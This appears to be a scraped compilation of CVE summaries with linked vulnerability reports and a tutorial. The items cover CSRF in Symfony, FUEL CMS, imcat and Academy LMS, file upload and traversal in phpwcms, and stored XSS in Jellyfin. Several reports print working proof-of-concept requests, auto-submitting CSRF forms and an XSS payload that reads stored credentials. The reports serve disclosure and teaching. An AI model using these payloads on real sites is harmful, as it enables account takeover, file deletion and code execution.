Symfony is a PHP framework for web and console applications and a set of reusable PHP components. When authenticating users Symfony by default regenerates the session ID upon login, but preserves the rest of session attributes. Because this does not clear CSRF tokens upon login, this might enables same-site attackers to bypass the CSRF protection mechanism by performing an attack similar to a session-fixation. This issue has been fixed in the 4.4 branch.

@@ -19,12 +19,15 @@ class CsrfFormLoginTest extends AbstractWebTestCase

public function testFormLoginAndLogoutWithCsrfTokens($config)

{

$client = $this\->createClient(\['test\_case' => 'CsrfFormLogin', 'root\_config' => $config\]);

static::$container\->get('security.csrf.token\_storage')->setToken('foo', 'bar');

  

$form = $client\->request('GET', '/login')->selectButton('login')->form();

$form\['user\_login\[username\]'\] = 'johannes';

$form\['user\_login\[password\]'\] = 'test';

$client\->submit($form);

  

$this\->assertFalse(static::$container\->get('security.csrf.token\_storage')->hasToken('foo'));

  

$this\->assertRedirect($client\->getResponse(), '/profile');

  

$crawler = $client\->followRedirect();

@@ -48,11 +51,14 @@ public function testFormLoginAndLogoutWithCsrfTokens($config)

public function testFormLoginWithInvalidCsrfToken($config)

{

$client = $this\->createClient(\['test\_case' => 'CsrfFormLogin', 'root\_config' => $config\]);

static::$container\->get('security.csrf.token\_storage')->setToken('foo', 'bar');

  

$form = $client\->request('GET', '/login')->selectButton('login')->form();

$form\['user\_login\[\_token\]'\] = '';

$client\->submit($form);

  

$this\->assertTrue(static::$container\->get('security.csrf.token\_storage')->hasToken('foo'));

  

$this\->assertRedirect($client\->getResponse(), '/login');

  

$text = $client\->followRedirect()->text(null, true);

CVE-2022-24895: [Security/Http] Remove CSRF tokens from storage on successful login · symfony/security-bundle@076fd20

Cross Site Request Forgery vulnerability in FUEL-CMS 1.4.13 allows remote attackers to run arbitrary code via post ID to /users/delete/2.

**Have a question about this project?** Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Pick a username

Email Address

Password

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

CVE-2021-36569: FUEL CMS 1.4.13 contains a cross-site request forgery (CSRF) vulnerability  · Issue #578 · daylightstudio/FUEL-CMS

Cross Site Request Forgery vulnerability in FUEL-CMS 1.4.13 allows remote attackers to run arbitrary code via post ID to /permissions/delete/2---.

CVE-2021-36570: FUEL CMS 1.4.13 contains a cross-site request forgery (CSRF) vulnerability · Issue #579 · daylightstudio/FUEL-CMS

Cross Site Request Forgery vulnerability in imcat 5.4 allows remote attackers to escalate privilege via lack of token verification.

**1\. Overview**

Official website: http://txjia.com/imcat/

Version: imcat-5.4

Vulnerability type: CSRF post

Source code: https://github.com/peacexie/imcat/releases/tag/v5.4

Harm: Super administrator account can be added

**2\. Analysis**

2.1 logic analysis

In the add administrator page, the security of data source is not verified by token and referer  
  
(1) There is no token used for security verification in the data packet, so there is the possibility of forgery  
POST /imcat/root/run/adm.php?dops-a&mod=adminer&view=form&stype=& HTTP/1.1  
Host: 127.0.0.1  
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,_/_;q=0.8  
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 539  
Origin: http://127.0.0.1  
Connection: close  
Referer: http://127.0.0.1/imcat/root/run/adm.php?dops-a&mod=adminer&view=form&stype=&recbk=ref  
Cookie: Hm\_lvt\_948dba1e5d873b9c1f1c77078c521c89=1622443371; CKFinder\_Path=Files%3A%2F%3A1; v49\_sessid\_4294e52897e5=2021-6b-hg49-yttfxda8f-7e5f79d1a; v49\_Uniqueid\_01348a66d0e6=2021-6h-a25c-5s8pgxq58-0e63b0fe2; Hm\_lpvt\_948dba1e5d873b9c1f1c77078c521c89=1622444424; twVscAv\_admauth=1606cECE916XO1gVfiR9ahqpqkEJMTxa4R5XjBOh69Cfppjn2zcpGMtx5x7BRkm4L0Vposdev%2B2ydGfzzC3me67ttA1foMK2UXNSybiOLOvH; v49\_vcodes=fmadm%3Dnull%0Afmcomadd%3D1623809462%2C49f8c2fc48af351f%0Afmapply%3D1623830847%2C7da4f846fdbd0243%0A; v49\_ocar\_items=0; PHPSESSID=5b4be5ad4c47747257ac13a5c15265c9  
Upgrade-Insecure-Requests: 1

recbk=http%3A%2F%2F127.0.0.1%2Fimcat%2Froot%2Frun%2Fadm.php%3Fdops-a%26mod%3Dadminer&fm%5Buid%5D=2021-6p-j6xk&fm%5Buno%5D=1&fm%5Buname%5D=qwe\_123&fm%5Bupass%5D=adm\_123&fm%5Bgrade%5D=supper&fm%5Bshow%5D=1&fm%5Bmname%5D=qwe\_123&fm%5Bindep%5D=inadm&fm%5Bmiuid%5D=&fm%5Bmtel%5D=12345678091&fm%5Bmemail%5D=23wqw%4022.com&fm%5Bmaddr%5D=&fm%5Batime%5D=2021-06-21+17%3A14%3A49&fm%5Betime%5D=2021-06-21+17%3A14%3A49&fm%5Bauser%5D=adm\_123&fm%5Beuser%5D=adm\_123&fm%5Baip%5D=127.0.0.1&fm%5Beip%5D=127.0.0.1&bsend=%E6%8F%90%E4%BA%A4&mod=adminer&isadd=1

(2) After deleting the referer: information, you can still add an administrator  

**3\. Loophole recurrence**

(1) Environment preparation, building environment with phpstudy  
  
(2) Construct a payload with the function of creating a super administrator account, qwe\_ 123/adm\_ one hundred and twenty-three

<script>history.pushState('', '', '/')</script> (3) Through a variety of fishing means to lure the administrator to click on the page, that is, to complete the action of adding super administrator without the administrator's knowledge !\[image\](https://user-images.githubusercontent.com/58809869/123199520-9c4db300-d4e1-11eb-8c46-94d9a911babe.png) !\[image\](https://user-images.githubusercontent.com/58809869/123199525-9f48a380-d4e1-11eb-8d18-87c3044191a5.png) !\[image\](https://user-images.githubusercontent.com/58809869/123199531-a2dc2a80-d4e1-11eb-9df6-fb13551bbcfe.png) ### 4. Verification of attack results

Using qwe\_ 123/adm\_ 123 login in the background  

**5\. Means of Defense**

Add a token to the place where important actions are performed for authentication. The value of the token must be random and unpredictable

CVE-2021-36443: CSRF vulnerability in imcat v5.4 · Issue #9 · peacexie/imcat

File Upload vulnerability in phpwcms 1.9.25 allows remote attackers to run arbitrary code via crafted file upload to include/inc_lib/general.inc.php.

在include/inc_lib/general.inc.php 1709行中，使用getimagesize获取了上传图像文件的大小信息。其后未对后缀名进行单独判断，可以制作图片木马进行上传绕过。  
In the line 1709 of include/inc_lib/general.inc.php, use getimagesize to get the size information of the uploaded image file. After that, without a separate judgment on the suffix name, a picture Trojan horse can be made to upload and bypass.

漏洞验证：  
Vulnerability recurrence:：  
登录访问后台页面http://www.pw.com/phpwcms.php?csrftoken=0cc175b9c0f1b6a831c399e269772661&do=files&p=8  
首先点击Create new campaign  
Login to visit the background page http://www.pw.com/phpwcms.php?csrftoken=0cc175b9c0f1b6a831c399e269772661&do=files&p=8 First click Create new campaign

创建任意条目，点击create  
To create any entry, click create

回到上级，点击编辑  
Go back to the upper level, click edit

选中生成好的图片马（在图片文件特殊位置插入php代码，不影响其打开），点击上传，出现报错不用管  
poc下载：2.zip

Select the generated picture horse (insert the php code in the special position of the picture file, it will not affect its opening), click upload, and there will be an error and don’t care.  
pocdownload：2.zip

上传后的文件目录为\\content\\marketing+参数adcampaign\_id，查看下该目录下生成的新文件，文件命名规则为日期\_2  
访问url：http://www.pw.com/content/marketing/3/20210701\_2.php，成功执行php文件  
The uploaded file directory is \\content\\marketing+parameter adcampaign\_id, check the new file generated in this directory, the file naming rule is date\_2  
Visit url: http://www.pw.com/content/marketing/3/20210701\_2.php, successfully execute the php file

修复建议：  
1.正确验证文件后缀。  
2.限制目录执行权限。

Repair suggestions:

1.  Verify the file suffix correctly.
2.  Restrict directory execution permissions.

CVE-2021-36426: Arbitrary file upload vulnerability · Issue #312 · slackero/phpwcms

Directory traversal vulnerability in phpcms 1.9.25 allows remote attackers to delete arbitrary files via unfiltered $file parameter to unlink method in include/inc_act/act_ftptakeover.php file.

在include/inc_act/act_ftptakeover.php 334行中，传入unlink方法的变量$file并未做过滤，导致可以使用../这种形式进行目录穿越删除任意文件。  
In the 334 line of include/inc_act/act_ftptakeover.php, the variable file passed in the unlink method is not filtered, so that the form of ../ can be used for directory traversal to delete any $file.

  

漏洞复现：  
Vulnerability recurrence:  
登录访问后台页面http://www.pw.com/phpwcms.php?csrftoken=0cc175b9c0f1b6a831c399e269772661&do=files&p=8  
首先上传文件后，选中第一个文件，点击take over selected files  
Login to visit the background page http://www.pw.com/phpwcms.php？csrftoken=0cc175b9c0f1b6a831c399e269772661&do=files&p=8  
After uploading files first, select the first file and click take over selected files

使用burpsuite抓包，修改第一个文件的字段段属性，对内容进行base64解码修改为../_.htaccess并再次编码，尝试删除根目录下\_.htaccess文件  
Use burpsuite to capture packets, modify the field attributes of the first file, base64 decode the content, modify it to ../_.htaccess and encode it again, try to delete the \_.htaccess file in the root directory

  
  

调试查看变量值  
Debug to view variable values

文件被成功删除  
The file was successfully deleted

修复建议：  
1.过滤../等特殊字符。  
2.限制目录访问权限。

Repair suggestions:

1.  Filter ../ and other special characters.
2.  Restrict directory access permissions.

CVE-2021-36425: Arbitrary file deletion vulnerability · Issue #311 · slackero/phpwcms

A Cross-Site Request Forgery (CSRF) in Academy LMS before v5.10 allows a discount coupon to be arbitrarily created if an attacker with administrative privileges interacts on the CSRF page.

In this section, we'll explain what cross-site request forgery is, describe some examples of common CSRF vulnerabilities, and explain how to prevent CSRF attacks.

**What is CSRF?**

Cross-site request forgery (also known as CSRF) is a web security vulnerability that allows an attacker to induce users to perform actions that they do not intend to perform. It allows an attacker to partly circumvent the same origin policy, which is designed to prevent different websites from interfering with each other.

**Labs**

If you're already familiar with the basic concepts behind CSRF vulnerabilities and just want to practice exploiting them on some realistic, deliberately vulnerable targets, you can access all of the labs in this topic from the link below.

View all CSRF labs

**What is the impact of a CSRF attack?**

In a successful CSRF attack, the attacker causes the victim user to carry out an action unintentionally. For example, this might be to change the email address on their account, to change their password, or to make a funds transfer. Depending on the nature of the action, the attacker might be able to gain full control over the user's account. If the compromised user has a privileged role within the application, then the attacker might be able to take full control of all the application's data and functionality.

**How does CSRF work?**

For a CSRF attack to be possible, three key conditions must be in place:

*   **A relevant action.** There is an action within the application that the attacker has a reason to induce. This might be a privileged action (such as modifying permissions for other users) or any action on user-specific data (such as changing the user's own password).
*   **Cookie-based session handling.** Performing the action involves issuing one or more HTTP requests, and the application relies solely on session cookies to identify the user who has made the requests. There is no other mechanism in place for tracking sessions or validating user requests.
*   **No unpredictable request parameters.** The requests that perform the action do not contain any parameters whose values the attacker cannot determine or guess. For example, when causing a user to change their password, the function is not vulnerable if an attacker needs to know the value of the existing password.

For example, suppose an application contains a function that lets the user change the email address on their account. When a user performs this action, they make an HTTP request like the following:

POST /email/change HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
Cookie: session=yvthwsztyeQkAPzeQ5gHgTvlyxHfsAfE

email=wiener@normal-user.com

This meets the conditions required for CSRF:

*   The action of changing the email address on a user's account is of interest to an attacker. Following this action, the attacker will typically be able to trigger a password reset and take full control of the user's account.
*   The application uses a session cookie to identify which user issued the request. There are no other tokens or mechanisms in place to track user sessions.
*   The attacker can easily determine the values of the request parameters that are needed to perform the action.

With these conditions in place, the attacker can construct a web page containing the following HTML:

<html>
    <body>
        <form action="https://vulnerable-website.com/email/change" method="POST">
            <input type="hidden" name="email" value="pwned@evil-user.net" />
        </form>
        <script>
            document.forms[0].submit();
        </script>
    </body>
</html>

If a victim user visits the attacker's web page, the following will happen:

*   The attacker's page will trigger an HTTP request to the vulnerable web site.
*   If the user is logged in to the vulnerable web site, their browser will automatically include their session cookie in the request (assuming SameSite cookies are not being used).
*   The vulnerable web site will process the request in the normal way, treat it as having been made by the victim user, and change their email address.

**Note**

Although CSRF is normally described in relation to cookie-based session handling, it also arises in other contexts where the application automatically adds some user credentials to requests, such as HTTP Basic authentication and certificate-based authentication.

**How to construct a CSRF attack**

Manually creating the HTML needed for a CSRF exploit can be cumbersome, particularly where the desired request contains a large number of parameters, or there are other quirks in the request. The easiest way to construct a CSRF exploit is using the CSRF PoC generator that is built in to Burp Suite Professional:

*   Select a request anywhere in Burp Suite Professional that you want to test or exploit.
*   From the right-click context menu, select Engagement tools / Generate CSRF PoC.
*   Burp Suite will generate some HTML that will trigger the selected request (minus cookies, which will be added automatically by the victim's browser).
*   You can tweak various options in the CSRF PoC generator to fine-tune aspects of the attack. You might need to do this in some unusual situations to deal with quirky features of requests.
*   Copy the generated HTML into a web page, view it in a browser that is logged in to the vulnerable web site, and test whether the intended request is issued successfully and the desired action occurs.

**How to deliver a CSRF exploit**

The delivery mechanisms for cross-site request forgery attacks are essentially the same as for reflected XSS. Typically, the attacker will place the malicious HTML onto a web site that they control, and then induce victims to visit that web site. This might be done by feeding the user a link to the web site, via an email or social media message. Or if the attack is placed into a popular web site (for example, in a user comment), they might just wait for users to visit the web site.

Note that some simple CSRF exploits employ the GET method and can be fully self-contained with a single URL on the vulnerable web site. In this situation, the attacker may not need to employ an external site, and can directly feed victims a malicious URL on the vulnerable domain. In the preceding example, if the request to change email address can be performed with the GET method, then a self-contained attack would look like this:

<img src="https://vulnerable-website.com/email/change?email=pwned@evil-user.net">

**Common defences against CSRF**

Nowadays, successfully finding and exploiting CSRF vulnerabilities often involves bypassing anti-CSRF measures deployed by the target website, the victim's browser, or both. The most common defenses you'll encounter are as follows:

*   **CSRF tokens** - A CSRF token is a unique, secret, and unpredictable value that is generated by the server-side application and shared with the client. When attempting to perform a sensitive action, such as submitting a form, the client must include the correct CSRF token in the request. This makes it very difficult for an attacker to construct a valid request on behalf of the victim.
    
*   **SameSite cookies** - SameSite is a browser security mechanism that determines when a website's cookies are included in requests originating from other websites. As requests to perform sensitive actions typically require an authenticated session cookie, the appropriate SameSite restrictions may prevent an attacker from triggering these actions cross-site. Since 2021, Chrome enforces Lax SameSite restrictions by default. As this is the proposed standard, we expect other major browsers to adopt this behavior in future.
    
*   **Referer-based validation** - Some applications make use of the HTTP Referer header to attempt to defend against CSRF attacks, normally by verifying that the request originated from the application's own domain. This is generally less effective than CSRF token validation.
    

For a more detailed description of each of these defenses, as well as how they can potentially be bypassed, check out the following materials. These include interactive labs that let you practice what you've learned on realistic, deliberately vulnerable targets.

**Read more**

*   LABS Bypassing CSRF token validation
*   LABS Bypassing SameSite cookie restrictions
*   LABS Bypassing Referer-based CSRF defenses

For details on how to properly implement these defenses in order to prevent some of these issues on your own websites, see How to prevent CSRF vulnerabilities

CVE-2022-47130: What is CSRF (Cross-site request forgery)? Tutorial & Examples | Web Security Academy

A Cross-Site Request Forgery (CSRF) in Academy LMS before v5.10 allows an attacker to arbitrarily create a page.

**Descrição**

O Academy LMS é uma aplicação onde pessoas conseguem criar e anunciar cursos. O recurso de adicionar um a nova página está vulnerável a CSRF, pois não há nenhuma token que faz com que esse ataque seja evitado. Além disso, essa página pode ser usada para carregar um payload de XSS de forma armazenada.

**Prova de Conceito (POC)**

O primeiro passo para a nossa prova de conceito é autenticar na plataforma com usuário administrativo.

Após isso, basta acessar a página que contém o código para a exploração da vulnerabilidade, veja que na página inicial do site será adicionado um novo botão.

Acessando a nova página criada, podemos confirmar a existência de um XSS armazenado.

Código usado na exploração:

    <html>
      <body>
      <script>history.pushState('', '', '/')</script>
        <form action="https://target.com/admin/custom_page/add" method="POST">
          <input type="hidden" name="page&#95;title" value="CSRF&#32;XSS" />
          <input type="hidden" name="page&#95;content" value="&quot;&gt;&lt;svg&#32;onload&#61;alert&#40;document&#46;domain&#41;&#59;&gt;" />
          <input type="hidden" name="files" value="" />
          <input type="hidden" name="button&#95;title" value="CSRF&#32;XSS" />
          <input type="hidden" name="button&#95;position" value="header" />
          <input type="hidden" name="page&#95;url" value="xss" />
          <input type="submit" value="Submit request" />
        </form>
      </body>
    </html>

    <html>
      <body>
      <script>history.pushState('', '', '/')</script>
        <form action="https://target.com/admin/custom_page/add" method="POST">
          <input type="hidden" name="page&#95;title" value="CSRF&#32;XSS" />
          <input type="hidden" name="page&#95;content" value="&quot;&gt;&lt;svg&#32;onload&#61;alert&#40;document&#46;domain&#41;&#59;&gt;" />
          <input type="hidden" name="files" value="" />
          <input type="hidden" name="button&#95;title" value="CSRF&#32;XSS" />
          <input type="hidden" name="button&#95;position" value="header" />
          <input type="hidden" name="page&#95;url" value="xss" />
          <input type="submit" value="Submit request" />
        </form>
      </body>
    </html>

**Versões Afetadas**

Academy LMS - < 5.10

**Pesquisador**

*   Vinícius Alves

**Classificação**

    Type: Cross-Site Request Forgery / Cross-Site Scripting
    OWASP TOP 10: A01:2021 - Broken Access Control
    OWASP TOP 10: A03:2021-Injection
    CWE: CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
    CWE: CWE-352: Cross-Site Request Forgery (CSRF)

    Type: Cross-Site Request Forgery / Cross-Site Scripting
    OWASP TOP 10: A01:2021 - Broken Access Control
    OWASP TOP 10: A03:2021-Injection
    CWE: CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
    CWE: CWE-352: Cross-Site Request Forgery (CSRF)

**CVE**

CVE-2022-47131

**Referencias**

*   PortSwigger
*   YoutTube Video

CVE-2022-47131: Academy LMS < 5.10 CSRF + XSS Stored

In Jellyfin 10.8.x through 10.8.3, the name of a collection is vulnerable to stored XSS. This allows an attacker to steal access tokens from the localStorage of the victim.

**usd-2022-0031 | Jellyfin 10.8.1 - Cross-Site Scripting**

**Advisory ID:** usd-2022-0031  
**Product:** Jellyfin  
**Affected Version:** 10.8.1  
**Vulnerability Type:** CWE-79  
**Security Risk:** Critical  
**Vendor URL:** https://jellyfin.org  
**Vendor Status:** fixed  
**CVE number:** CVE-2023-23635

**Description**

A stored XSS in Jellyfin 10.8.1 allows an remote attacker to inject JavaScript into the name of a collection to perform a Cross-Site Scripting (XSS) attack.  
Because session tokens are stored in the localStorage, the attacker can extract them via javascript.

**Proof of Concept**

The following screenshot shows how an attacker can create a malicious collection.

  
The injected JavaScript code is executed in the user's browser, if a user (e.g. admin) visits the _collections_ page.

  
If you want to do some more interesting stuff with this vulnerability like taking over the admin account, you can use the following payload to read the access tokens from the localStorage.

"><img src=/X onerror=alert(localStorage.getItem("jellyfin\_credentials"))>

Getting the access token and device id allows you to rebuild the request for the _Quick Connect_ Feature.

This feature allows users to login using a PIN. The following request sets a PIN.

POST /QuickConnect/Authorize?Code=111111 HTTP/1.1  
Host: localhost:8096  
User-Agent: Mozilla/5.0 (X11; Linux x86\_64; rv:102.0) Gecko/20100101 Firefox/102.0  
Accept: \*/\*  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
X-Emby-Authorization: MediaBrowser Client="Jellyfin Web", Device="Firefox", DeviceId="TW96aWxsYS81LjAgKFgxMTsgTGludXggeDg2XzY0OyBydjoxMDAuMCkgR2Vja28vMjAxMDAxMDEgRmlyZWZveC8xMDAuMHwxNjU2NzU0NTEwMjcz", Version="10.8.1", Token="7bd97aae0924484884d7d13a74e9517c"  
Origin: \[http://localhost:8096\]()  
Sec-Fetch-Dest: empty  
Sec-Fetch-Mode: cors  
Sec-Fetch-Site: same-origin  
Connection: close  
Cookie: sfcsrftoken=S82egH1Csl8FsxnMPQ6NGzXCWL3tiI8tNUvfsNyXnAVoGGthaUjsjrWesdhvu9Gc  
Content-Length: 0

**Fix**

It is recommended to treat all input on the website as potentially dangerous.  
Hence, all output that is dynamically generated based on user-controlled data should be encoded according to its context.  
The majority of programming languages support standard procedures for encoding meta characters.

**References**

*   https://owasp.org/www-community/attacks/xss/
*   https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-23635 

**Timeline**

*   **2022-07-18**: First contact request via security@jellyfin.org
*   **2022-08-02**: Vulnerability details submitted
*   **2022-08-16**: Fixed by Vendor
*   **2023-01-16:** Requested CVE assigned
*   **2023-01-19**: The advisory is published

**Credits**

This security vulnerability was found by Christian Pöschl of usd AG.

CVE-2023-23635: Security Advisory usd- 2022-0031 | usd HeroLab

Cross-Site Request Forgery (CSRF) vulnerability in TeraWallet – For WooCommerce plugin <= 1.3.24 versions.

**Solution**

Update the WordPress TeraWallet – For WooCommerce plugin to the latest available version (at least 1.4.0).

Muhammad Daffa discovered and reported this Cross Site Request Forgery (CSRF) vulnerability in WordPress TeraWallet – For WooCommerce Plugin. This could allow a malicious actor to force higher privileged users to execute unwanted actions under their current authentication. For example a password change which will then allow the malicious actor to login into the admin account. This vulnerability has been fixed in version 1.4.0.

**1 other known vulnerability for this plugin**To plugin page

**Report to Patchstack Alliance bounty platform and earn monthly cash prizes.**

Learn more

Tag

#csrf